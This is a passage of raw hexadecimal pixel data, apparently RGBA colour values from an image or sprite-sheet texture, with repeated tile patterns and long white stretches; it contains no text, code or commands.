FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0BFBFFFC0C0
C0FFC0C0C0FFBFBEBEFFBFBEBEFFBFBEBEFFBFBEBEFFBFBEBEFFC0C0C0FFC0C0
C0FFC0C0C0FFC0BFBFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFFFFFFFFFC4C4C4FFC5C6C6FFC6C6
C6FFC6C6C6FFC6C6C6FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C6FFC6C6
C6FFC6C6C6FFC5C6C6FFC3C3C3FFFFFFFFFFD5D5D5FFBCBCBCFFBCBCBCFFBCBC
BCFFBCBCBCFFBCBCBCFFBCBCBCFFBCBCBCFFBCBCBCFFBCBCBCFFBCBCBCFFBCBC
BCFFBCBCBCFFBCBBBCFFBCBCBCFFFFFFFFFF29ACBAFF13F5FFFF13F0FFFF13EF
FFFF14EFFFFF14EFFFFF14EFFFFF14EFFFFF14EFFFFF14EFFFFF14EFFFFF14EF
FFFF13F0FFFF13F0FFFF13F8FFFF4D959EFF3B339CFF3321DFFF3321DFFF2C1E
B6FF0C1005FF0F1112FF0F1112FF0F1112FF0F1112FF0F1112FF0F1112FF0F11
12FF0E1011FF0D0F10FF0D0F10FF4C4E4EFFB9A7A0FFF8A445FFC54E00FFCC5D
05FFC85300FFFFFFDDFFC89AFFFF9444E1FF9444E1FFCBA1FFFFFFF9D5FFC853
00FFCA5D05FFBF4700FFEA9149FF9C938EFF3D2B8CFF300EBEFF320FBCFF3210
BCFF3210BCFF3210BCFF3210BCFF3210BCFF3210BCFF3210BCFF3210BCFF3210
BCFF3210BCFF310FBCFF300DBDFF584E85FF2DACBBFF18E5FEFF18E3FAFF1BE3
FAFF1BE3FAFF1BE3FAFF1BE3FAFF1BE3FAFF1BE3FAFF1BE3FAFF1BE3FAFF1BE3
FAFF1AE3FAFF19E3FAFF17E8FFFF4C98A0FF3A319FFF301ED5FF3220D5FF2C1F
ABFF0E1005FF111213FF111213FF111213FF111213FF111213FF111213FF1112
13FF101212FF0F1111FF0D0F10FF4D4D4DFF45209AFF9174FFFFF4E8E5FFCD8A
3DFF932400FFF8E7C8FFA085ECFF6430D0FF642FD0FFA58BEEFFF4E0C1FF8E1D
00FFB76C3AFFF7F0EAFFFFFFFFFFA5A7A1FFC3C4BEFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA4A4A1FF2EA8B8FF1BE3FCFF1DE1F8FF1FE1
F8FF1FE1F8FF1FE1F8FF1FE1F8FF1FE1F8FF1FE1F8FF1FE1F8FF1FE1F8FF1FE1
F8FF1EE1F8FF1DE1F8FF1AE6FFFF4E959EFF3A2E9EFF2F1CD4FF311ED5FF2C1C
AAFF0C0E01FF0F0F0FFF0F0F0FFF0F0F10FF0F0F10FF0F0F0FFF0F0F0FFF0F0F
0FFF0E0E0FFF0C0D0EFF0A0B0BFF494A4AFFC2C7BAFF9D85EAFF1700CAFF6858
FAFFCAB5C9FFFFF9D9FF8C75E6FF4722CFFF4621CFFF927CE8FFFAEED2FFEBDE
D6FFFFFFFFFFFFFFFFFF9078EAFF514A87FF52409AFF5336C9FF5537C8FF5638
C9FF5638C9FF5638C9FF573AC9FF573AC9FF573AC9FF573AC9FF5638C9FF5638
C9FF5638C9FF5537C8FF5436CAFF62598DFF2EA7B7FF1DE2FDFF20DEF9FF21DE
F9FF22DEF9FF22DEF9FF22DEF9FF22DEF9FF22DEF9FF22DEF9FF22DEF9FF22DE
F9FF21DEF9FF1FDEF9FF1CE5FFFF4F939DFF3A2C9DFF2D1AD3FF301DD5FF2A1A
A8FF050800FF080808FF080808FF080808FF080808FF080808FF080808FF0708
08FF070707FF050504FF020303FF484848FFCCCCBAFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF8474E1FF2C15CEFF2C15CEFF8A7BE2FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A69CFF867BABFFA899E4FFA899E3FFA99A
E3FFA99AE3FFA99AE3FFA99AE3FFA99AE3FFA99AE3FFA99AE3FFA99AE1FFA99A
E1FFA99BE1FFA899E1FFA99AE3FF807A96FF30A6B6FF1CE1FDFF20DFF9FF20DF
F9FF22DFF9FF22DFF9FF22DFF9FF22DFF9FF22DFF9FF22DFF9FF22DFF9FF22DF
F9FF21DFF9FF1FDFF9FF1DE4FFFF50939BFF3A2E9DFF2D18D3FF2B16CFFF5547
D6FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A5A5FF3F339CFF3824D7FF3A26D3FF3C2A
D3FF3D2BD3FF3E2CD3FF3120D0FF2E1CD0FF2E1CD0FF3220D0FF3E2CD3FF3B29
D2FF3A26D1FF3926D2FF3C28DCFF5A558BFFA0938CFFD0BEB0FFCFBEB2FFD0BD
B0FFD1BFB3FFD0BEB1FFD1BFB3FFD0BDB1FFD1BFB3FFD0BEB0FFC6BADBFFC2B8
EAFFC2B7EAFFC1B7EAFFC2B8EBFF8B8699FF2CA8BBFF1CE7FFFF1BE1FFFF1BE2
FFFF1BE2FFFF1BE2FFFF1BE2FFFF1BE2FFFF1BE2FFFF1BE2FFFF1BE2FFFF1BE2
FFFF1BE2FFFF19E3FFFF16E8FFFF4E949EFF3A2C9DFF311DD4FF2D17CFFF5241
D2FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF352A9AFF2E17D6FF2A16CFFF2A17
CFFF2C19CFFF2C19CFFF301CD0FF321FD1FF321FD1FF301CD0FF2C19CFFF2B18
D0FF2A17CEFF2814CFFF2711D8FF554E8AFF66452EFF8D5A3DFF723613FF8D5D
43FF6E3310FF906149FF6D2F0BFF93664EFF6A2C09FF96684CFF4C238FFF4120
C4FF401EC1FF3F1DC1FF3D1BC2FF5A4E8AFFA2633CFFDD7738FFDA7839FFD975
38FFD77132FFD77032FFD77032FFD77132FFD77132FFD77132FFD77132FFD771
32FFD77031FFD67030FFDC702EFF8F6B55FF3B2F9EFF3620D5FF331ED2FF5648
D3FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF2E2198FF2209D4FF240DCFFF230D
CDFF1E09CCFF1D08CCFF2A16CFFF311FD1FF321FD1FF2A16CFFF1E09CCFF1C07
CCFF1B07CBFF1903CBFF1801D5FF504A88FF6D4E3AFF7A421DFF95674AFF783E
1BFF93664EFF713614FF966950FF6F3412FF986B53FF6B2C09FFDED0C0FFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA4A4A1FF986B4AFFCE864CFFCA864EFFCC86
4FFFCC874FFFCB844CFFC88048FFC77A44FFC77A43FFC77A43FFC77B43FFC779
42FFC77941FFC67840FFCC7B41FF8A6F5CFF3D2F9EFF3922D7FF3621D4FF5E4D
D9FFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFB
FBFFFBFBFBFFFBFBFBFFFFFFFFFFA4A0A4FF9591AFFFC9C2F7FFBAB1EFFFB6AF
F0FFB9B0EEFFC1BBF0FF5C4DD9FF2914CEFF2814CEFF5C4ED9FFC0B9F0FFBAB5
EFFFC3BDEFFFBFB9EFFFBBB3F9FF807D95FF6C4B36FF966647FF834B27FF986B
4FFF824A28FF986B50FF7A4322FF94664DFF763E1FFF94674BFF552E93FF4D2F
C8FF4C2DC5FF4B2BC5FF4A2BC7FF60548CFF986B4AFFCF8A50FFCB8751FFCD89
52FFCD8953FFCD8953FFCD8953FFCD8954FFCD8851FFCC8650FFCC864FFFCC86
4FFFCC864FFFCC8751FFD28A51FF8B705DFF3F309EFF3C26D8FF3F25DAFF333D
AAFF00A700FF029E02FF029E02FF039E03FF019D01FF009C00FF009A00FF009A
00FF009A00FF009C00FF00A200FF487948FF716AA7FF8B7DEBFFFEFDFFFFFFFF
FFFFFFFFFFFFFFFFFFFF8475E5FF3520D4FF331DD2FF8779E5FFFFFFFFFFD4D5
FFFF8578EAFFACA2ECFFFFFFFFFFA5A79CFF6F4F3AFF8B542FFF936342FF8C57
35FF946444FF8D5836FF946444FF8D5836FF956444FF88522DFFA68CAEFFB8AB
E8FFB9ABE8FFBAABE7FFBCADEBFF858198FF996B4AFFD18B52FFCE8B54FFCE8B
55FFCE8B55FFCE8B55FFCE8B55FFCE8B55FFCE8B55FFCE8B55FFCE8B55FFCE8B
55FFCE8B55FFCE8A53FFD48D54FF8B705DFF3F309EFF3F27D9FF4026DAFF3A41
B1FF12B307FF17AB17FF17AB17FF17AB17FF17AB17FF17AB17FF17AB17FF16AB
16FF15AB15FF13AA13FF0FAE0FFF497C49FF655DA4FFFFFFFFFFFFFFFFFFFDFC
FCFFA15E36FFEFDABAFF8477EDFF371FD4FF361ED4FF8B81F0FFEBD3B2FFB573
3EFFD8D5F7FF5246F6FF1400DCFF777392FF72523CFF94613CFF966444FF9260
3DFF986948FF915E3BFF9A6B4CFF915D3AFF9B6D4DFF8F5932FFAC92B0FFBEB1
EBFFBEAFE9FFBEAFE8FFBEB0EBFF888198FF996B49FFD38D53FFCF8B53FFCF8B
54FFCF8C54FFCF8C54FFCF8C54FFCF8C54FFCF8C54FFCF8C54FFCF8C54FFCF8C
54FFCF8B54FFCF8C52FFD68E55FF8A6F5CFF3D2F9EFF3F24DBFF4024DBFF373D
B1FF0DB502FF11AC11FF11AC11FF11AC11FF11AC11FF11AC11FF11AC11FF11AC
11FF10AC10FF0EAB0EFF0AAF0AFF477B47FFCBD4CFFFFFFFFEFFAD7046FF8023
00FF822700FFFAEBCDFF8576F1FF351CD5FF351BD5FF897CF1FFF7E5C6FF8227
00FF882B00FFCE9652FFEAE4FFFF616099FF6D4C35FF986641FF8B532AFF9A6A
49FF8A5028FF9D6F4EFF874E24FF9F7252FF864C21FFA17450FF65399CFF5D37
CFFF5C36CDFF5B35CDFF5A32D0FF5E528CFF9E7150FFD89D6BFFD59968FFD599
68FFD59A68FFD59A68FFD59A68FFD59A68FFD59A68FFD59A68FFD59A68FFD59A
68FFD59968FFD59967FFD99B6AFF987C68FF453AA5FF5B47E0FF5941E0FF5258
BFFF30BF26FF33B633FF33B633FF33B633FF33B633FF33B633FF33B633FF33B6
33FF33B633FF31B531FF32B832FF558955FF8C6655FF994311FFA05327FFA55F
35FF9A4B1FFFFFF7DFFF998FF9FF523DE2FF513CE2FFA096FCFFFFF0D6FF9A4C
1FFFA55F35FF9E5427FFA14C13FF917A6BFF765A48FF92613FFFA07557FF905E
3CFFA2795DFF8E5C3AFFA47B61FF8C5936FFA58063FF88522DFFDED2C5FFFFFF
FEFFFFFFFCFFFFFFFCFFFFFFFCFFADADABFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFC0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBEBFFFBFBEBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFF616F1EFF4D60C9FF4D4BCBFF3F5F
E3FF666B4CFF6F8908FF6E870FFF6E870FFF6E870FFF6E870FFF6E870FFF6E87
0FFF6F870FFF6E880EFF708B0EFF6A714CFF8B4032FFBA3D23FFB63D23FFB73C
22FFB73D23FFB73D23FFB73D23FFB73D23FFB73D23FFB73D23FFB73D23FFB73D
23FFB73C22FFB63D23FFBC3E22FF845950FF9E754DFFDB9C52FFD69951FFD799
51FFD79951FFD79951FFDA974CFFB4AA7BFFB4AA7BFFDD964AFFD89950FFDA98
4EFFD89950FFD89950FFDD9E52FF8F7560FF2A46A9FF1347F3FF1546EDFF1447
EDFF1546EDFF1546EDFF1546EDFF1546EDFF1546EDFF1546EDFF1546EDFF1546
EDFF1445EDFF1346EDFF1447F6FF4D5C93FF5C6C1FFF4F68C2FF6499C6FF93AB
E5FF54634EFF657D09FF647C11FF647C11FF647C11FF647C11FF647C11FF647C
11FF647B0FFF637B10FF647D0EFF697049FF844535FFA43F27FFA14028FFA241
29FFA2412AFFA2412AFFA2412AFFA2412AFFA2412AFFA2412AFFA2412AFFA23F
27FFA33A21FFA13E27FFA33F26FF815A52FF9A7951FFC69956FFC49756FFC498
56FFC49857FFC49857FFCA9552FF7AB6A8FF7CB5A6FFBB9B61FF41CBE4FFB79D
64FFC29858FFB89B64FFC99954FF8E7861FF2B46A9FF1340E4FF1540E0FF1642
E1FF1741E1FF1743E1FF1743E1FF1743E1FF1743E1FF1743E1FF1743E1FF1741
E1FF1642E1FF1540E0FF1340E7FF4C5B96FF57671FFF4A47B8FF8186D6FF3A50
D3FF516250FF5E7809FF5D7611FF5F7611FF5F7611FF5D7611FF5D7611FF5D76
11FF5E7710FF5D760DFF5C770CFF666E49FF794537FF96412AFF95422CFF9643
2EFF96432EFF96422EFF96422EFF96422FFF96422FFF96422EFF973D26FF9C57
44FF908D8AFF9B381FFF983F2AFF7B5B54FF927A54FFBF9A5BFFBD995BFFBC9A
5CFFBC995BFFBC9B5DFFBC9B5DFFC09858FFC19857FFBB9B5DFF8BAC92FFC498
55FF51BFC8FF44C3D4FFCA9952FF8B7862FF24B6BCFF0BFBFFFF0DF7FFFF0FF7
FFFF0EF9FFFF0EF8FFFF0EF8FFFF10F8FFFF10F8FFFF0EF8FFFF0EF8FFFF0FF9
FFFF0FF7FFFF0DF7FFFF09FEFFFF499CA0FF53661FFF3B3CA7FF3E4967FF423D
90FF4C5F55FF597408FF58720FFF58720FFF58720FFF58720FFF58720FFF5872
10FF57710FFF56700DFF56710AFF636D49FF734638FF8D412DFF8C442FFF8D45
31FF8D4531FF8D4631FF8D4631FF8D4631FF8D4631FF8E412BFF8F675AFF346F
87FF214353FF6297A7FF95391FFF755C55FF8E7A57FFB89C5FFFB69B5FFFB69C
60FFB69C61FFB69C61FFB79C61FFB79C61FFB89B5FFFAE9E69FF7CAE97FFAF9E
69FFB89B5EFFBB995AFF98A882FF6E827AFF24B2C1FF09F6FFFF0DF1FFFF0FF2
FFFF10F2FFFF10F2FFFF08EBFFFF01E3FAFF00E2F8FF0DEFFFFF10F2FFFF0EF2
FFFF0FF2FFFF0DF1FFFF0AF8FFFF499AA2FF526520FF3A38A8FF404C6BFF403D
92FF485C53FF577308FF567110FF567110FF567110FF567110FF567210FF5670
0EFF556F0EFF546E0CFF547009FF626A49FF70463AFF89422EFF884331FF8944
32FF894632FF8A4733FF8A4733FF8A4733FF8A4632FF8F3D24FF64E7FFFF1D34
44FF050000FF47B7D6FF7C8C8FFF735850FF8C7B58FFB79D61FFB39C61FFB59D
62FFB59D63FFB69D64FFB59D64FFB59D64FFB79C62FFAC9F6BFF08D3FFFFAD9E
69FFB69C60FFB99A5BFF73B3A2FF4E8C99FF252020FF090000FF0D0000FF0D00
00FF0E0000FF080000FF543E3EFFC3ADACFFE0C9C4FF190502FF0D0000FF0E00
00FF0E0000FF0B0000FF090000FF494747FF556620FF3B39B8FF3C2F92FF3824
ABFF496153FF587308FF577210FF577210FF577210FF577210FF577210FF5771
0FFF56700EFF556F0CFF557009FF626B49FF744A31FF89412CFF894532FF8641
2CFF823A22FF863D1FFF89442CFF8B4733FF8B422DFF826F69FF5CEBFFFF4599
BAFF13002FFF65F2FFFF64CCE8FF75564DFF908356FFBAA161FFB19E63FFAE9C
62FFAB9358FFAE9755FFB69F5DFFB59C63FFB69D63FFB49C63FFC39756FFB49C
62FFB59D61FFB49B60FFBE9C5BFF847A66FF242120FF0B0900FF0C0900FF0D0A
00FF0F0B01FF000000FFFFFFFFFF999790FF2C43A5FFC4C1B8FF010000FF0F0C
00FF0C0B00FF0C0900FF070400FF494847FF556720FF3F37AAFF4C518CFF3D33
9AFF4D5850FF577308FF55700EFF546F0BFF57720FFF577210FF577210FF5771
0FFF56700EFF556F0CFF547009FF626B49FF3F24B6FFC79F82FF81371EFFAB75
5CFFE5DBE4FFAFA5FFFF894F66FF8A452DFF8C402AFF788D90FF65CBF9FF6FA4
DCFF448CC4FF205B94FF52D1F8FF785850FF3F2AA9FFA388DBFF7C1A00FF882B
02FFCFA78FFFBDB7FFFF9177D5FFB8A05BFFB69D64FFB69D63FFB69D64FFB59D
62FFB99A5CFFB49B61FFB99D60FF857A66FF2A4BB4FF174DFAFF1950F6FF194C
F4FF1548F3FF0238EFFFFFFFFFFF81827BFFFFFFFFFFB8C6F8FF083EF2FF1549
F3FF1446F4FF1345F4FF1245FAFF4B5D9AFF566720FF4141C2FF463FBBFF4C2E
C2FF52705BFF5E7A0CFF5F7818FF7A9144FF4B6802FF55700FFF55700FFF556F
0EFF546E0DFF536D0BFF556F09FF626B49FF4124A9FFE5CBA3FFE2D5D4FFB2A1
FFFF8B5B9EFF9B5A2EFF8C4427FF894632FF8B3F28FF728E8CFF9777DBFF928F
DAFF41AFD5FF0C326FFF3697C6FF7A5D53FF4632A3FFAE95D3FFD7B186FFCBC7
FFFF9477D0FF9B5841FF8B3100FFB9A468FFB59B62FFB59B62FFB59B62FFBB99
5CFF52B9BCFF40BECAFFC89A53FF787E70FF2B3FA5FF1A3DE1FF1D3EDEFF1D3F
DEFF1F40DEFF1637DDFF5667E5FF7986A9FFCFC4F1FF1835DAFF1330DBFF1532
DBFF1431DBFF1330DBFF1131E2FF4D5692FF566720FF50469EFF3B71BCFF4E64
9BFF5C6156FF63800CFF6B8522FF80953DFFC2CBA5FF5B750AFF617A15FF617A
15FF617A14FF637B12FF65800FFF636D49FF4321A3FF9A76F7FF8A65EDFF926E
E8FF9470E8FF9273FDFF966282FF97533CFF954D37FF84999CFF70C3F1FF6FCF
F5FF61D1F0FF4698C0FF60D4F9FF795C54FF452FA0FF6F52E7FF8F79F0FF8E75
E8FF927AE9FF927CF7FF9685F0FFBFAA68FFBCA570FFBBA46EFFB9A46DFFBDA2
6AFF98AE8DFF9FAD89FF6BC2BBFF4791A4FF25B6BBFF0FFCFFFF11F8FFFF15F8
FFFF16F9FFFF16F9FFFF0FF4FFFF0DF0FFFF06ECFEFF12F6FFFF14F8FFFF15F8
FFFF14F9FFFF11F7FFFF0FFFFFFF499B9EFF586820FF4547C5FF4A3AC7FF4B2C
CBFF56745AFF7A922EFF899B4BFF5A7503FFB0BE88FF617A0EFF678117FF6781
16FF678115FF658013FF67830FFF636D49FF4321A3FF9068F4FF8D67EDFF8C65
E9FF8A64F0FF8F6CFFFF956186FF97553CFF975743FF99513AFF9B4D35FF9B4C
32FF9B4C34FF9E5035FF9E4B31FF745D56FF452FA0FF7354E8FF9582F2FF947B
E8FF9077E9FF917BF6FF9886F1FFC1AB68FFBEA873FFBEA873FFBEA873FFBEA8
73FFC1A76FFFC2A56CFFBAAE7BFF857A67FF25BBC9FF10FFFFFF13FFFFFF15FF
FFFF16FFFFFF17FFFFFF17FFFFFF17FFFFFF17FFFFFF17FFFFFF17FFFFFF16FF
FFFF15FFFFFF13FFFFFF0FFFFFFF499EA5FF56681FFF5150C8FF637A99FF7C80
CAFF5A6051FF658205FF7A9131FF79912FFF7B9233FF65800DFF668211FF6682
11FF668210FF66810EFF68850AFF626B47FF4522A8FFE4CCACFF9D77D3FFC0AD
FFFFDFC7ABFFA26238FF97553AFF985640FF985641FF985641FF985641FF9756
41FF975641FF96543FFF9A5741FF745C55FF4831A3FFB79CD6FF975F70FFAC9C
FCFFE1D3E0FFBD8047FF913700FFC2B17BFFBFA973FFBFA973FFBFA973FFBFA9
73FFBFA972FFBEA970FFC5AD73FF837A66FF231F1FFF0B0000FF0E0000FF1002
02FF110301FF110301FF110301FF110301FF110301FF110301FF110301FF1103
02FF100200FF0E0000FF0A0000FF474646FF5D6D29FF6B64CEFF8077CBFF555E
D9FF6E806CFF7A922DFF778F30FF778F30FF778F30FF799133FF799133FF7991
33FF799133FF789131FF7A9332FF6F7854FF4B2FB0FFD3B091FF9E5E40FFB488
83FFA784DBFFC3B7FFFFB88D7DFFA36654FFA56958FFA56958FFA56958FFA569
58FFA46958FFA46857FFA66A59FF826961FF4F3CA9FFBAA3DCFF9D4D14FFA95F
2EFF986692FFBCB3FFFFD6CAE0FFC6B37CFFC7B385FFC7B385FFC7B385FFC7B3
85FFC7B484FFC6B285FFCAB686FF928974FF2F2F2FFF333333FF313130FF3333
33FF333333FF333333FF333333FF333333FF333333FF333333FF333333FF3333
33FF333333FF313131FF323232FF555555FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFC0FFC0C0C0FFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFFFFFFFFFC4C4C4FFC6C6C5FFC6C6
C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6
C5FFC6C6C5FFC6C6C5FFC3C3C3FFFFFFFFFF1E1EA5FF0000E7FF0101E2FF0202
E2FF0101E2FF0101E2FF0101E2FF0101E2FF0101E2FF0101E2FF0101E2FF0101
E2FF0202E2FF0101E2FF0000EAFF464792FF3A2F9FFF321FE5FF311FE1FF321E
E0FF331EE0FF331FE0FF331FE0FF331FE0FF331FE0FF331FE0FF331FE0FF2710
DEFF604FF3FFE6E6EEFF121430FF4B4B55FF282BB3FF1115FFFF1115FCFF1115
FCFF1015FCFF1015FCFF1015FCFF1015FCFF1015FCFF1015FCFF1015FCFF1015
FCFF1116FCFF1115FCFF1115FFFF4C4E9AFF1C7DC5FF00B1FFFF00AAFFFF00A9
